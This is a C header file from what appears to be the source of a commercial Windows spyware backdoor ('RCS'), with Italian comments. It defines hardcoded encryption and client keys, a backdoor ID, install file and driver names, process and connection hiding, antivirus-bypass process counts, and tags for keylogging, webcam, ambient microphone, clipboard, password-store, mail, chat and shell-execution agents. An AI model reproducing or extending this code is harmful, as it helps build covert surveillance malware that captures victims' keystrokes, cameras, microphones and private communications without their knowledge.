common.h
#include "DynamiCall/prototypes.h"
#include "DynamiCall/dynamic_import.h"
#define DBG_MSG(x) MessageBox(NULL, x, "Debug Message", MB_OK);
#define LOOP for(;;)
#define CANCELLATION_POINT(x) if(x) { x=FALSE; ExitThread(0); }
#define CANCELLATION_SLEEP_TIME 200
#define CANCELLATION_SLEEP(x, y) for(DWORD slc=0; slc<y; slc+=CANCELLATION_SLEEP_TIME) { Sleep(CANCELLATION_SLEEP_TIME); CANCELLATION_POINT(x); }
#define RET_CANCELLATION_POINT(x) if(x) { x=FALSE; return 0; }
#define QUERY_CANCELLATION(x,y) if (x) { \
y=TRUE; while(y) Sleep(200); \
CloseHandle(x); \
x = 0; }
#define SAFE_CLOSE_HANDLE(x) if (x!=0 && x!=INVALID_HANDLE_VALUE) { CloseHandle(x); x=0; }
#define SAFE_TERMINATEPROCESS(x) if (x) { FNC(TerminateProcess)(x, 0); CloseHandle(x); x=NULL; }
#define SAFE_TERMINATETHREAD(x) if (x) { FNC(TerminateThread)(x,0); CloseHandle(x); x=0; }
#define SAFE_FREE(x) { if(x) free(x); x = NULL; }
#define ZERO(x,y) memset(x,0,y)
#define READ_DWORD(x,y) x = *((DWORD *)y); y+=4;
#define SMLSIZE 512
#define MEDSIZE 1024
#define SAFE_SYSFREESTR(x) if (x) {SysFreeString(x); x=NULL;}
// Se e' definita, scrive la chiave in RunOnce
//#define RUN_ONCE_KEY
// Parametri per i tentativi di cancellazione/disinstallazione
#define MAX_DELETE_TRY 15
#define DELETE_SLEEP_TIME 150
// Nomi dei file e delle directory generati casualmente
#define MAX_RAND_NAME 24 // Grandezza massima dei nomi generati casualmente
extern char H4DLLNAME[];
extern char H4_CONF_FILE[];
extern char H4_CONF_BU[];
extern char H4_HOME_PATH[];
extern char H4_HOME_DIR[];
extern char H4_CODEC_NAME[];
extern char H4_DUMMY_NAME[];
extern char H4_UPDATE_FILE[];
extern char H4_MOBCORE_NAME[];
extern char H4_MOBZOO_NAME[];
extern char H64DLL_NAME[];
extern char H4DRIVER_NAME[];
extern char H4DRIVER_NAME_ALT[];
extern char REGISTRY_KEY_NAME[];
extern char EXE_INSTALLER_NAME[];
extern BOOL is_demo_version;
#define COMMON_CODEC_NAME "codec"
#define COMMON_UPDATE_NAME "core"
#define COMMON_UPDATE64_NAME "core64"
#define COMMON_RAPI_NAME "rapi"
#define COMMON_SQLITE_NAME "sqlite"
#define COMMON_MOBILE_CORE_NAME "wmcore.001"
#define COMMON_MOBILE_ZOO_NAME "wmcore.002"
#define COMMON_EXE_INSTALLER_NAME "installer"
#define COMMON_DRV32_NAME "driver"
#define COMMON_DRV64_NAME "driver64"
/*#define BB_INSTALL_NAME1 "bb_in.exe"
#define BB_INSTALL_NAME2 "javaloader.exe"*/
/*#define DRIVER_NAME_OLD "b57xdata.SYS"
#define DRIVER_NAME_OLD_W L"b57xdata.SYS"
#define DRIVER_NAME "b57xdata.sys"
#define DRIVER_NAME_W L"b57xdata.sys"*/
// Per controllare il processo Host "social"
#define SOCIAL_PROCESS_CONTINUE 0
#define SOCIAL_PROCESS_PAUSE 1
#define SOCIAL_PROCESS_EXIT 2
// Nome della tag che nei comandi e nei download indica la home
#define HOME_VAR_NAME "$dir$"
#define HOME_VAR_NAME_W L"$dir$"
#define EMBEDDED_BYPASS 29 // numero di processi bypassati hardcoded
#define MAX_DYNAMIC_BYPASS 20 // massimo numero dei processi che si possono aggiungere
#define MAX_PBYPASS_LEN 100 // massima lunghezza del nome di un bypass process
#define KEY_LEN 16 // Lunghezza in byte chiave AES
#define BLOCK_LEN 16 // Lunghezza di un blocco di cifratura (per AES)
#define CLEAR_CONF_LEN 8 // Numero di byte in chiaro all'inizio del file di configurazione
/*#define SHARE_MEMORY_READ_BASENAME "DPA"
#define SHARE_MEMORY_WRITE_BASENAME "DPB"
#define SHARE_MEMORY_ASP_COMMAND_BASENAME "DPC"
#define SHARE_MEMORY_ASP_DATA_BASENAME "DPD"*/
// Versione del client
#define CLIENT_VERSION "2014120803"
// -------- Elementi per il binary patching ---------
// Chiave UNIVOCA fra server e client
//#define CLIENT_KEY "A02H90JL00000000"
#define CLIENT_KEY "ANgs9oGFnEL_vxTxe9eIyBx5lZxfd6QZ"
//#define ENCRYPTION_KEY "ngkdNGKDh4H4883"
#define ENCRYPTION_KEY "WfClq6HxbSaOuJGaH5kWXr7dQgjYNSNg"
//#define ENCRYPTION_KEY_CONF "ngkdNGKDh4H4869"
#define ENCRYPTION_KEY_CONF "6uo_E0S4w_FD0j9NEhW2UpFw9rwy90LY"
//#define BACKDOOR_ID "RCS_0000000744"
#define BACKDOOR_ID "EMp7Ca7-fpOBIr"
#define DEMO_TAG "Pg-WaVyPzMMMMmGbhP6qAigT"
#define WATERMARK "B3lZ3bupLuI4p7QEPDgNyWacDzNmk1pW"
#define BIN_PATCHED_REGISTRY_KEY "JklAKLjsd-asdjAIUHDUD823akklGDoak3nn34"
//#define BIN_PATCHED_OLD_REGISTRY_KEY "IaspdPDuFMfnm_apggLLL712j"
#define CONTACT_SRC_OUTLOOK 1
#define CONTACT_SRC_SKYPE 2
#define CONTACT_SRC_FACEBOOK 3
#define CONTACT_SRC_TWITTER 4
#define CONTACT_SRC_GMAIL 5
#define CONTACT_SRC_YAHOO 0x0F
#define CONTACTS_MYACCOUNT 0x80000000
//----------------------------------------------------
#define WRAPPER_MAX_SHARED_MEM 0x40 // Dimensione di un blocco di shared mem dedicato
// alla configurazione di wrapper e agenti.
// Per comodita' li metto tutti uguali.
// Tag dei wrappers e degli agenti
#define PM_CORE 0xFFFF // tag speciale usato dal core
#define WRAPPER_COUNT 14 // XXX Da cambiare quando aggiungo un wrapper
#define PM_FILEAGENT 0x00000000
#define PM_KEYLOGAGENT (PM_FILEAGENT + WRAPPER_MAX_SHARED_MEM) // 0x0040
#define WR_HIDE_PID (PM_KEYLOGAGENT + WRAPPER_MAX_SHARED_MEM) // 0x0080
#define WR_HIDE_CON (WR_HIDE_PID + WRAPPER_MAX_SHARED_MEM) // 0x00C0
#define PM_PRINTAGENT (WR_HIDE_CON + WRAPPER_MAX_SHARED_MEM) // 0x0100
#define PM_VOIPRECORDAGENT (PM_PRINTAGENT + WRAPPER_MAX_SHARED_MEM) // 0x0140
#define PM_URLLOG (PM_VOIPRECORDAGENT + WRAPPER_MAX_SHARED_MEM) // 0x0180
#define PM_ONNEWWINDOW_IPC (PM_URLLOG + WRAPPER_MAX_SHARED_MEM) // 0x01C0
#define PM_CONTACTSAGENT 0x0200
#define PM_DEVICEINFO 0x0240
#define PM_MOUSEAGENT 0x0280
#define PM_CRISISAGENT 0x02C0
#define PM_IMAGENT_SKYPE 0x0300
#define PM_IMAGENT_SOCIAL 0xC6C7 // Usato per i log di tipo IM che vengono dall'agente social
#define PM_IMAGENT_SKYPENEW 0xC6C8 // Nuovo formato per la chat skype
#define PM_URLAGENT_SNAP (PM_URLLOG + 1) // Usato per gli snapshot degli url (non e' un agente ma solo un logtype)
#define PM_FILEAGENT_CAPTURE 0x00000001 // (non e' un agente ma solo un logtype)
#define PM_COMMANDEXEC 0xC0C0 // Usato per l'output dei comandi di shell
#define PM_SOCIALAGENT 0xAAB0
#define PM_SOCIALAGENT_FB 0xAAB1 // Usato per i file di markup per il modulo facebook dell'agente social
#define PM_AMBMICAGENT 0xC2C2
#define PM_WEBCAMAGENT 0xE9E9
#define PM_MONEY 0xB1C0
#define PM_CLIPBOARDAGENT 0xD9D9
#define PM_PSTOREAGENT 0xFAFA
#define PM_IMAGENT 0xC6C6
#define PM_MAILAGENT 0x1001
#define PM_APPLICATIONAGENT 0x1011
#define PM_PDAAGENT 0xDF7A
#define PM_EXPLOREDIR 0xEDA1
#define PM_DOWNLOAD 0xD0D0
#define PM_WIFILOCATION 0x1220
#define PM_SNAPSHOTAGENT 0xB9B9 // Ha un valore alto per averlo fra gli ultimi
// visto che non dovra' avere una zona di memoria per IPC
// (altrimenti occuperei memoria inutilmente)